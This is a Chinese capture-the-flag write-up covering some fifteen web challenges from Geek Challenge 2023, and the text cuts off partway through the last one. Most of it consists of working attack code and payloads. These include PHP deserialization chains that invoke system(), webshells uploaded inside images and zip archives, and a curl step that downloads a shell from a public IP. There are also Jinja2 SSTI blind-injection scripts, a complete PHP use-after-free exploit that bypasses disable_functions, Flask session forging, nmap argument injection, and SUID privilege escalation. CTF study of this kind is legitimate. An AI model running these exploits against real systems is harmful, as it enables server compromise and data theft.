十四届极客大挑战web部分wp

Web

EzHttp

请求头大全

https://blog.csdn.net/weixin_45948229/article/details/122527709

源码提示

查看robots.txt

访问得到密码

登录得到提示

然后添加各种请求头

Via表示代理

$_SERVER['HTTP_O2TAKUXX']表示请求头O2TAKUXX

只有O2TAKUXX为GiveMeFlag才会输出flag

加上请求头得到flag   SYC{HttP_1s_E@sY}

Unsign

简单的反序列化

构造

<?php

highlight_file(__FILE__);

class syc

{

    public $cuit;

    public function __destruct()

    {

        echo("action!<br>");

        $function=$this->cuit;

        return $function();

    }

}


class lover

{

    public $yxx;

    public $QW;

    public function __invoke()

    {

        echo("invoke!<br>");

        return $this->yxx->QW;

    }

}

class web

{

    public $eva1;

    public $interesting;

    public function __get($var)

    {

        echo("get!<br>");

        $eva1=$this->eva1;

        $eva1($this->interesting);

    }

}

$a=new syc();

$b=new lover();

$c=new web();

$b->yxx=$c;

$c->eva1='system';

$c->interesting='ls /;cat /flag';

$a->cuit=$b;

var_dump(serialize($a));

?> 

得到

获得flag  SYC{Jpliu6cxK0CeeEUXBf}

n00b_Upload

搞一个图片马,结尾写上马

上传抓包改后缀为php,并把马改成<?=eval($_POST['a']);因为对php过滤了。

上传得到路径

这道题不能用蚁剑连,要手输。

看根目录得到flag   SYC{L35OvStLIWQNQblEGN}

easy_php

上来给源码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i'$_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
    if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
        if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) {
                if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
                    echo $flag;
                } else {
                    echo "再绕最后一步吧";
                }
            } else {
                echo "好哩,快拿到flag啦";
            }
        } else {
            echo "这里绕不过去,QW可不答应了哈";
        }
    } else {
        echo "嘿嘿嘿,你别急啊";
    }
}else {
    echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>

第一个if利用 preg_match在非多行模式下,$似乎会忽略在句尾的%0a

?构造syc=Welcome to GEEK 2023!%0a绕过

第二个if利用intval科学计数法绕过参考

https://blog.csdn.net/krafcc/article/details/134173212

 echo intval(1e10);              // 1410065408

 echo intval('1e10');            // 1

 echo intval('1e10'+1);          // 1410065409

构造lover=1e4

第三个if构造qw=1&yxx=1

第四个if利用php特性会把参数的特殊字符转化为_而[出现后后面的点号不会再被转义构造

SYC[GEEK.2023=Happy to see you!

最终payload

?syc=Welcome%20to%20GEEK%202023!%0a&lover=1e4

qw=1&yxx=1&SYC[GEEK.2023=Happy to see you!

ctf_curl

<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover

if (isset($_GET['addr'])) {
    $address $_GET['addr'];
    if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i"$address)){
        $result system("curl ".$address."> /dev/null");
    } else {
        echo "Hacker!!!";
    }
}
?>

没有回显但可下载文件curl -o 参数可以下载

Payload ?addr=47.115.224.138/shell.txt -o shell.php

ip为公网ip上传木马

访问shell.php然后命令执行

klf_ssti

源码提示hack

访问hack

Get传参klf回显个图片

注入也回显图片,但错误注入会报错

判断可以报错注入,但我这里是时间盲注

给出脚本主要用了爆破eval位置和爆破flag,爆破flag可以修改命令参数ls爆破目录

import requests
import time

#爆破 eval() 位置
#转义符 \ 用于解决双引号 "" 闭合问题
PAYLOAD_LAST = ".__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"
url = input("请输入 URL:")
# POST 参数可以抓包或查看源代码
request_parameter = input("请输入请求参数:")
for i in range(500):
   # 发送请求并记录开始时间
   start_time = time.time()
   data = {request_parameter: " {{().__class__.__base__.__subclasses__()[" + str(
       i) + "].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}} "}
   # post data 也可以改成这样,原因见{{}}过滤的绕过方法
   # {"name":"{%print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)'))%}"}
   response = requests.get(url, params=data)
   end_time = time.time()
   # 计算响应时间
   response_time = end_time - start_time
   # 如果响应时间大于 3s ,则绿色字体输出在控制台
   if response_time >= 3:
       print("\033[32m bingo: " + str(i) + "\033[0m", end="\t")
   # 如果响应时间小于 3s ,则红色字体输出在控制台,一般建议注释掉错误输出,因为这会降低爆破速度
   else:
       print("\033[31mnonono: " + str(i) + "\033[0m", end="\t")

# 通过脚本爆破 flag 长度
url = input("请输入 URL:")
request_parameter = input("请输入请求参数:")
for len in range(1, 40):
   start_time = time.time()
   data = {
       request_parameter: "{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{% set l=flag|length %}{%if l==" + str(
           len) + "%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}{%endif%}"}
   response = requests.get(url, params=data)
   end_time = time.time()
   # 计算响应时间
   response_time = end_time - start_time
   if response_time >= 3:
       print("\033[32m" + str(len) + "\033[0m", end="\t")
   else:
       print("\033[31m" + str(len) + "\033[0m", end="\t")



# for i in range(200):
#     payload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']['eval']}}"
#     url = 'https://wln492rb2arqlrx8h9vfbp516.node.game.sycsec.com/hack?klf=' + payload
#     r = requests.get(url)
#     if 'klf别想' in r.text:
#         print(i)

# 爆破flag
url = input("请输入 URL:")
request_parameter = input("请输入请求参数:")
cs = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
# range() 参数为 脚本2 得到的 flag 长度
for i in range(200):
   low = 0
   high = len(cs)
   while low < high:
       index = low + (high - low) // 2
       start_time = time.time()
       # request_parameter 为 post 传入数据的参数名,根据实际情况输入
       data = {
           request_parameter: "{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat ../../fl4gfl4gfl4g\").read()')%}{%if flag[" + str(
               i) + "]=='" + cs[index] + "'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag[" + str(
               i) + "]>'" + cs[index] + "'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}"}
       response = requests.get(url, params=data)
       end_time = time.time()
       # 计算响应时间
       response_time = end_time - start_time
       if response_time >= 2 and response_time <= 4:
           flag += cs[index]
           print(cs[index], end='\t')
           low = high
       elif response_time > 4:
           low = index + 1
       else:
           high = index
print("\n" + flag)

最后爆出目录,执行命令cat ../../fl4gfl4gfl4g爆出flag时间有点漫长

ez_remove

<?php
highlight_file(__FILE__);
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}

if(isset($_GET['web'])){
    if(!preg_match('/lover/i',$_GET['web'])){
        $a=unserialize($_GET['web']);
        throw new Error("快来玩快来玩~");
    }
    else{
        echo("nonono");
    }
}
?>

反序列化但有抛出异常,需要绕过不然__destruct不会执行。

利用php GC垃圾回收机制让__destruc提前触发。

<?php

show_source(__FILE__);


class syc{

    public $lover="system('whoami')";

    public function __destruct()

    {

        eval($this->lover);

    }

}

$a=array(new syc,0);

//$a=new syc;

echo serialize($a);

//echo urlencode('lover');

得到a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:16:"system('whoami')";}i:1;i:0;}

把最后的大括号去掉或者把i:0改为i:1就可以提前触发

但过滤了lover,需要编码绕过

a:2:{i:0;O:3:%22syc%22:1:{S:5:%22\6c\6f\76\65\72%22;s:18:%22eval($_POST[%27a%27]);%22;}i:1;i:0;

其中s改成大写会把后面字符当做16进制处理

成功执行

post传参a=phpinfo();发现disable_functions过滤了

system,exec,shell_exec,fopen,pcmtl_exe,passthru,popen

采用a=var_dump(scandir(‘/’));发现报错open_basedir restriction in effect.

需要绕过open_basedir用uaf绕过

用其他大佬的payload

function ctfshow($cmd) {

    global $abc, $helper, $backtrace;


    class Vuln {

        public $a;

        public function __destruct() {

            global $backtrace;

            unset($this->a);

            $backtrace = (new Exception)->getTrace();

            if(!isset($backtrace[1]['args'])) {

                $backtrace = debug_backtrace();

            }

        }

    }


    class Helper {

        public $a, $b, $c, $d;

    }


    function str2ptr(&$str, $p = 0, $s = 8) {

        $address = 0;

        for($j = $s-1; $j >= 0; $j--) {

            $address <<= 8;

            $address |= ord($str[$p+$j]);

        }

        return $address;

    }


    function ptr2str($ptr, $m = 8) {

        $out = "";

        for ($i=0; $i < $m; $i++) {

            $out .= sprintf("%c",($ptr & 0xff));

            $ptr >>= 8;

        }

        return $out;

    }


    function write(&$str, $p, $v, $n = 8) {

        $i = 0;

        for($i = 0; $i < $n; $i++) {

            $str[$p + $i] = sprintf("%c",($v & 0xff));

            $v >>= 8;

        }

    }


    function leak($addr, $p = 0, $s = 8) {

        global $abc, $helper;

        write($abc, 0x68, $addr + $p - 0x10);

        $leak = strlen($helper->a);

        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;

    }


    function parse_elf($base) {

        $e_type = leak($base, 0x10, 2);


        $e_phoff = leak($base, 0x20);

        $e_phentsize = leak($base, 0x36, 2);

        $e_phnum = leak($base, 0x38, 2);


        for($i = 0; $i < $e_phnum; $i++) {

            $header = $base + $e_phoff + $i * $e_phentsize;

            $p_type  = leak($header, 0, 4);

            $p_flags = leak($header, 4, 4);

            $p_vaddr = leak($header, 0x10);

            $p_memsz = leak($header, 0x28);


            if($p_type == 1 && $p_flags == 6) {


                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;

                $data_size = $p_memsz;

            } else if($p_type == 1 && $p_flags == 5) {

                $text_size = $p_memsz;

            }

        }


        if(!$data_addr || !$text_size || !$data_size)

            return false;


        return [$data_addr, $text_size, $data_size];

    }


    function get_basic_funcs($base, $elf) {

        list($data_addr, $text_size, $data_size) = $elf;

        for($i = 0; $i < $data_size / 8; $i++) {

            $leak = leak($data_addr, $i * 8);

            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {

                $deref = leak($leak);


                if($deref != 0x746e6174736e6f63)

                    continue;

            } else continue;


            $leak = leak($data_addr, ($i + 4) * 8);

            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {

                $deref = leak($leak);


                if($deref != 0x786568326e6962)

                    continue;

            } else continue;


            return $data_addr + $i * 8;

        }

    }


    function get_binary_base($binary_leak) {

        $base = 0;

        $start = $binary_leak & 0xfffffffffffff000;

        for($i = 0; $i < 0x1000; $i++) {

            $addr = $start - 0x1000 * $i;

            $leak = leak($addr, 0, 7);

            if($leak == 0x10102464c457f) {

                return $addr;

            }

        }

    }


    function get_system($basic_funcs) {

        $addr = $basic_funcs;

        do {

            $f_entry = leak($addr);

            $f_name = leak($f_entry, 0, 6);


            if($f_name == 0x6d6574737973) {

                return leak($addr + 8);

            }

            $addr += 0x20;

        } while($f_entry != 0);

        return false;

    }


    function trigger_uaf($arg) {


        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

        $vuln = new Vuln();

        $vuln->a = $arg;

    }


    if(stristr(PHP_OS, 'WIN')) {

        die('This PoC is for *nix systems only.');

    }


    $n_alloc = 10;

    $contiguous = [];

    for($i = 0; $i < $n_alloc; $i++)

        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');


    trigger_uaf('x');

    $abc = $backtrace[1]['args'][0];


    $helper = new Helper;

    $helper->b = function ($x) { };


    if(strlen($abc) == 79 || strlen($abc) == 0) {

        die("UAF failed");

    }


    $closure_handlers = str2ptr($abc, 0);

    $php_heap = str2ptr($abc, 0x58);

    $abc_addr = $php_heap - 0xc8;


    write($abc, 0x60, 2);

    write($abc, 0x70, 6);


    write($abc, 0x10, $abc_addr + 0x60);

    write($abc, 0x18, 0xa);


    $closure_obj = str2ptr($abc, 0x20);


    $binary_leak = leak($closure_handlers, 8);

    if(!($base = get_binary_base($binary_leak))) {

        die("Couldn't determine binary base address");

    }


    if(!($elf = parse_elf($base))) {

        die("Couldn't parse ELF header");

    }


    if(!($basic_funcs = get_basic_funcs($base, $elf))) {

        die("Couldn't get basic_functions address");

    }


    if(!($zif_system = get_system($basic_funcs))) {

        die("Couldn't get zif_system address");

    }



    $fake_obj_offset = 0xd0;

    for($i = 0; $i < 0x110; $i += 8) {

        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));

    }


    write($abc, 0x20, $abc_addr + $fake_obj_offset);

    write($abc, 0xd0 + 0x38, 1, 4);

    write($abc, 0xd0 + 0x68, $zif_system);


    ($helper->b)($cmd);

    exit();

}


ctfshow("ls /");ob_end_flush();

?>

url编码后传入

改命令为Cat /f1ger得到flag  SYC{suWgnuq8cpTtRNnHql}

ez_path

反编译得到代码

# uncompyle6 version 3.8.0

# Python bytecode 3.6 (3379)

# Decompiled from: Python 3.7.0 (default, Nov 25 2022, 11:07:23)

# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]

# Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py

# Compiled at: 2023-08-26 01:33:29

# Size of source mod 2**32: 2076 bytes

import os, uuid

from flask import Flask, render_template, request, redirect

app = Flask(__name__)

ARTICLES_FOLDER = 'articles/'

articles = []


class Article:

    def __init__(self, article_id, title, content):

        self.article_id = article_id

        self.title = title

        self.content = content


def generate_article_id():

    return str(uuid.uuid4())

@app.route('/')

def index():

    return render_template('index.html', articles=articles)

@app.route('/upload', methods=['GET', 'POST'])

def upload():

    if request.method == 'POST':

        title = request.form['title']

        content = request.form['content']

        article_id = generate_article_id()

        article = Article(article_id, title, content)

        articles.append(article)

        save_article(article_id, title, content)

        return redirect('/')

    else:

        return render_template('upload.html')

@app.route('/article/<article_id>')

def article(article_id):

    for article in articles:

        if article.article_id == article_id:

            title = article.title

            sanitized_title = sanitize_filename(title)

            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)

            with open(article_path, 'r') as (file):

                content = file.read()

            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)

    return render_template('error.html')

def save_article(article_id, title, content):

    sanitized_title = sanitize_filename(title)

    article_path = ARTICLES_FOLDER + '/' + sanitized_title

    with open(article_path, 'w') as (file):

        file.write(content)

def sanitize_filename(filename):

    sensitive_chars = [

     ':', '*', '?', '"', '<', '>', '|', '.']

    for char in sensitive_chars:

        filename = filename.replace(char, '_')

    return filename

if __name__ == '__main__':

    app.run(debug=True)

# okay decompiling /tmp/655ed4512069f.pyc

这里把传入的title参数经过sanitize_filename过虑在os.path.join把articles/和title拼接

这里os.path.join存在漏洞

os.path.join(path1,path2)

如果path2的第一个字符是‘/’,那么返回的拼接路径中path1并没有包含。

也就是返回的路径为path2

我们现在只需知道flag路径就可以得到flag

F12看源码得到提示

构造title为/f14444然后点击访问得到flag  SYC{vAd3ntyVyg7ha1n0pg}

you konw flask?

这题是flask 伪造session

先注册一个用户登录

我们要伪造教练身份登录

扫描目录发现robots.txt

查看发现/3ysd8.html目录访问查看源码得到secret_key

app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'

用脚本跑

把登录后的cookie复制替换

#!/usr/bin/env python3
""" Flask Session Cookie Decoder """
import base64
import random
import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):
   def __init__(self, secret_key):
       self.secret_key = secret_key


class FSCM:
   def encode(secret_key, session_cookie_structure):
       """ Encode a Flask session cookie """
       try:
           app = MockApp(secret_key)

           session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
           si = SecureCookieSessionInterface()
           s = si.get_signing_serializer(app)

           return s.dumps(session_cookie_structure)
       except Exception as e:
           return "[Encoding error] {}".format(e)

   @staticmethod
   def decode(session_cookie_value, secret_key=None):
       try:
           if secret_key is None:
               compressed = False
               payload = session_cookie_value
               if payload.startswith('.'):
                   compressed = True
                   payload = payload[1:]
               data = payload.split(".")[0]
               data = base64_decode(data)
               if compressed:
                   data = zlib.decompress(data)
               return data
           else:
               app = MockApp(secret_key)
               si = SecureCookieSessionInterface()
               s = si.get_signing_serializer(app)

               return s.loads(session_cookie_value)
       except Exception as e:
           return "[Decoding error] {}".format(e)


if __name__ == "__main__":
   cnt = 1
   # key = "wanbaoMjU=wanbao"
   # print(FSCM.encode(key, "{'is_admin': True, 'name': 'w1eat', 'user_id': 2}"))
   while True:
       cookie_value = 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ3MWVhdCJ9.ZV77PA.BkqePOXAYWF71CWfFOk3UTsgGEo'
       secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'
       if secret_key:
           result = FSCM.decode(cookie_value, secret_key)
       else:
           result = FSCM.decode(cookie_value)
       cnt += 1
       print(result, cnt)
       if 'is_admin' in result:
           print(result, secret_key, 'YES')
           break

得到secret_key

wanbaoNg==wanbao

然后伪造{'is_admin': True, 'name': 'w1eat', 'user_id': 2}

得到cookie替换原cookie成功伪造教练得到flag  SYC{0Hwo90jpxJGcAvWqtj}

Pupyy_rce

无参rce过滤了env|var|session|header只有dirname访问了

查看当前目录文件print_r(scandir(getcwd()));

fl@g.php在中间不好用pos,next这些函数获取了只能随机访问

show_source(array_rand(array_flip(scandir(getcwd()))));

多访问几遍就得到flag了  SYC{fwu5pvBsYluvQq6XJ6}

famale_imp_l0ve

源码提示include.php访问发现文件包含,可以把txt,zip当做php文件

但必须要是.jpg后缀才能包含

<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>

考虑00截断但\x00的截断在php>5.3.4就没用了

只有php伪协议

这种情况下就可以使用phar://或zip://

Payload  zip://1.zip#1.jpg

zip和phar不同的是zip必须使用绝对路径(在指定压缩包位置的时候),而phar可以使用相对路径也可以使用绝对路径

先上传一个木马图片压缩后的压缩包记住路径等会要包含

Include.php构造payload ?file=zip://upload/1.zip%231.jpg

post传参a=system(‘cat /flag’);得到flag;

EzRce

过滤了一些字符

爆破出来然后把可见的字符构成t,然后异或绕过

import requests
from requests_toolbelt.utils.formdata import urlencode

valid = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@$%^*(){}[];\'\",.<>/?-=_`~ "
t = '<=>?@AELV[\]^_`aelv|!"#$%&\'()*+,-./:;¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ'
# t = ''
# url = 'https://kdo71vl9o2bd37o0chzdl5o94.node.game.sycsec.com/?data='
# for i in range(256):
#     url = 'https://kdo71vl9o2bd37o0chzdl5o94.node.game.sycsec.com/?data=' + chr(i)
#     r = requests.get(url)
#     if "</code>no!" not in r.text:
#         t += chr(i)
print(t)
while True:
   answer = str(input("请输入进行异或构造的字符串:"))
   tmp1, tmp2 = '', ''
   for c in answer:
       for i in t:
           for j in t:
               if (ord(i) ^ ord(j) == ord(c)):
                   tmp1 += i
                   tmp2 += j
                   break
           else:
               continue
           break
   print("tmp1为:", tmp1)
   print("tmp2为:", tmp2)

eval没过滤构造eval(eval($_POST[‘a’]);)

Payload eval((%22%3EL%3C@^A%3E%3C`?v%3E[%3C[%3CE[%22^%22[:],veal/l\%22e|]|al`%22));

也可以通过无参rce中session_id我试过很麻烦

Post传参a=phpinfo();

发现disable_function

过滤了很多函数但没有过滤proc_open()

构造payload

a=$command="ls"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024);}

但是执行tac /flag时反应file /flag发现没权限

开始suid提权

find / -perm -u=s -type f 2>/dev/null查找root权限的命令

touch anyfile #必须要有这个文件

find anyfile -exec whoami \;

Cat /flag得到flag SYC{ThE_RCe is S0 Eas1ly_DD!}

scan_tool

传入127.0.0.1’发现对’转义了

抓包发送空字符发现报错

应该是escapeshellarg()和escapeshellcmd()漏洞

传入的参数是:172.17.0.2' -v -d a=1

经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义

最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

Nmap 可以写入文件和读文件

这道题对?过滤了写马方式行不通

只有读文件

-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式

-iL 从文件读取

Payload ' 127.0.0.1 '可以让转义后的单引号闭合

这道题还过滤了危险参数不能用-iL了但可以用-i

Payload ip=' 127.0.0.1 -i /flag -oA 1 '

访问1.nmap得到flag   SYC{YSJBpSvTpEggTvq0dG}

klf_2

扫描网站得到robots.txt有一个/secr3ttt目录

访问传入klf参数

发现可以回显

测试{{1}}注入回显1

存在ssti注入

测试得到过滤了单引号,双引号,中括号,下划线,和一些数字

参考https://blog.csdn.net/weixin_52635170/article/details/129850863

获取下划线

通过lipsum|string|list中获取。

{%print lipsum|string|list%}

获取pop方法

pop被过滤了要通过拼接获取

{%set pop=dict(po=a,p=b)|join%}

得到下划线

{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}

os字符,get,popen,read字符串都通过pop=dict(ge=a,t=b)|join方法获取

{%set shell=dict(o=a,s=b)|join%}

{%set get=dict(get=a)|join%}

{%set po=dict(po=a,pen=b)|join%}

{%set re=dict(re=a,ad=b)|join%}

获得__globals__

{%set g=dict(glo=a,bals=b)|join%}

{%set  go=(xiahuaxian,xiahuaxian,g,xiahuaxian,xiahuaxian)|join%}

构造执行命令

cmd=dict(wh=a,oami=b)|join%}

但是当要执行ls /和ls ../发现执行失败过滤了空格和/和.

{%set result=(lipsum|attr(go))|attr(get)(shell)|attr(po)(cmd)|attr(re)()%}{%print result%}

考虑构造char获取字符来绕过

__builtins__构造

{%set bu=(xiahuaxian,xiahuaxian,dict(buil=a,tins=b)|join,xiahuaxian,xiahuaxian)|join%}

获取chr模块,chr也被过滤了

{%set ch=dict(c=a,hr=b)|join%}

{%set char=(lipsum|attr(go))|attr(get)(bu)|attr(get)(ch)%}

Char(32),char(46)分别为空格和点

但/不能构造因为47被过滤了

但是可以通过字符串类型转换绕过

{%set fxg2=(4,7)|join|int%}

{%set fxg=char(fxg2)%}

构造一个文件变量来访问文件

{%set fil=dict(flag=b)|join%}

最后构造命令ls ./发现flag文件但是假的

cmd=dict(l=a,s=b)|join%}

{%set cmd2=(cmd,char(32),char(46),fxg)|join%}

构造ls ../../发现fl4gfl4gfl4g

cmd=dict(l=a,s=b)|join%}

{%set cmd2=(cmd,char(32),char(46),char(46),fxg,char(46),char(46),fxg)|join%}

最后构造cat ../../fl4gfl4gfl4g得到flag

最终payload

{%set p=dict(po=a,p=b)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(p)(24)%}{%set g=dict(glo=a,bals=b)|join%}{%set  go=(xiahuaxian,xiahuaxian,g,xiahuaxian,xiahuaxian)|join%}{%set shell=dict(o=a,s=b)|join%}{%set get=dict(get=a)|join%}{%set po=dict(po=a,pen=b)|join%}{%set bu=(xiahuaxian,xiahuaxian,dict(buil=a,tins=b)|join,xiahuaxian,xiahuaxian)|join%}{%set ch=dict(c=a,hr=b)|join%}{%set char=(lipsum|attr(go))|attr(get)(bu)|attr(get)(ch)%}{%set cmd=dict(c=a,at=b)|join%}{%set re=dict(re=a,ad=b)|join%}{%set fxg2=(4,7)|join|int%}{%set fxg=char(fxg2)%}{%set fil=dict(fl4gfl4gfl4g=b)|join%}{%set cmd2=(cmd,char(32),char(46),char(46),fxg,char(46),char(46),fxg,fil)|join%}{%set result=(lipsum|attr(go))|attr(get)(shell)|attr(po)(cmd2)|attr(re)()%}{%print result%}

klf_3

Klf_2的payload直接能用

Ezpython

下载源码发现merge合并函数

和Javascript原型链污染差不多,原型链污染需要merge合并函数,通过递归合并来修改父级属性

但这道题可以不用污染直接替换

比如

src = {

    'key1': 'value1',

    'key2': {

        'nested_key1': 'nested_value1',

        'nested_key2': 'nested_value2'

    },

    'key3': 'value3'

}

dst = {

    'key1': 'original_value1',

    'key4': 'original_value4'

}

我们可以调用 merge(src, dst) 来合并这两个字典:

merge(src, dst)

合并后的 dst 字典的内容如下:

{

    'key1': 'value1',

    'key2': {

        'nested_key1': 'nested_value1',

        'nested_key2': 'nested_value2'

    },

    'key3': 'value3',

    'key4': 'original_value4'

}

import json

import os


from waf import waf

import importlib

from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)

app.secret_key='jjjjggggggreekchallenge202333333'

class User():

    def __init__(self):

        self.username=""

        self.password=""

        self.isvip=False

class hhh(User):

    def __init__(self):

        self.username=""

        self.password=""

registered_users=[]

@app.route('/')

def hello_world():  # put application's code here

    return render_template("welcome.html")

@app.route('/play')

def play():

    username=session.get('username')

    if username:

        return render_template('index.html',name=username)

    else:

        return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])

def login():

    if request.method == 'POST':

        username=request.form.get('username')

        password=request.form.get('password')

        user = next((user for user in registered_users if user.username == username and user.password == password), None)

        if user:

            session['username'] = user.username

            session['password']=user.password

            return redirect(url_for('play'))

        else:

            return "Invalid login"

        return redirect(url_for('play'))

    return render_template("login.html")

@app.route('/register',methods=['GET','POST'])

def register():

    if request.method == 'POST':

        try:

            if waf(request.data):

                return "fuck payload!Hacker!!!"

            data=json.loads(request.data)

            if "username" not in data or "password" not in data:

                return "连用户名密码都没有你注册啥呢"

            user=hhh()

            merge(data,user)

            registered_users.append(user)

        except Exception as e:

            return "泰酷辣,没有注册成功捏"

        return redirect(url_for('login'))

    else:

        return render_template("register.html")

@app.route('/flag',methods=['GET'])

def flag():

    user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)

    if user:

        if user.isvip:

            data=request.args.get('num')

            if data:

                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:

                        flag = os.environ.get('geek_flag')

                        return render_template('flag.html',flag=flag)

                else:

                    return "你的数字不对哦!"

            else:

                return "I need a num!!!"

        else:

            return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')

    else:

        return "先登录去"

def merge(src, dst):

    for k, v in src.items():

        if hasattr(dst, '__getitem__'):

            if dst.get(k) and type(v) == dict:

                merge(v, dst.get(k))

            else:

                dst[k] = v

        elif hasattr(dst, k) and type(v) == dict:

            merge(v, getattr(dst, k))

        else:

            setattr(dst, k, v)

if __name__ == '__main__':

    app.run(host="0.0.0.0",port="8888")

构造payload用python发送

因为过滤了isvip可通过unicode编码,16进制编码,8进制编码绕过

因为是python发送所有/要转义

十六进制:\\x69\\x73\\x76\\x69\\x70

八进制:\\151\\163\\166\\151\\160

paload1 = {

   "username": "admin2",

   "password": "123456",

   "__init__": {

       "__globals__": {

           "User": {

               "\u0069\u0073\\u0076\u0069\u0070": “1”

           }

       }

   }

}

paload2 = {

    "username": "admin2",

    "password": "123456",

    "\u0069\u0073\u0076\u0069\u0070": “1”

}

data1和data2都可以,data1是污染链

可以用burp抓包sendRepeater不能使用只能intercept修改

访问/flag传入参数num=+123456789

Int(“+123456789”)会转化为123456789

get传参得到flag

Akane!

一来得到源码,一眼php反序列化

count(scandir($this->Akane))为要执行的危险函数

<?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{
    public $Ruby;
    private $Aquamarine;

    public function __destruct()
    {
        $this->Ruby->func();
    }
}

class Idol
{
    public $Akane;

    public function __wakeup()
    {
        $this->Akane = '/var/www/html/The************************.php';
    }

    public function __call($method,$args)
    {
        $Kana = count(scandir($this->Akane));
        if ($Kana > 0) {
            die('Kurokawa Akane');
        } else {
            die('Arima Kana');
        }
    }
}

$a = unserialize(base64_decode($_GET['tuizi']));

?>

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

所以需要绕过__wakeup()防止$Akane;被重定义

当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏"Hoshino":2:改为。"Hoshino":3:

O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:11:"glob://./The*";}s:19:"HoshinoAquamarine";N;}

但是这道题scandir没有回显只有

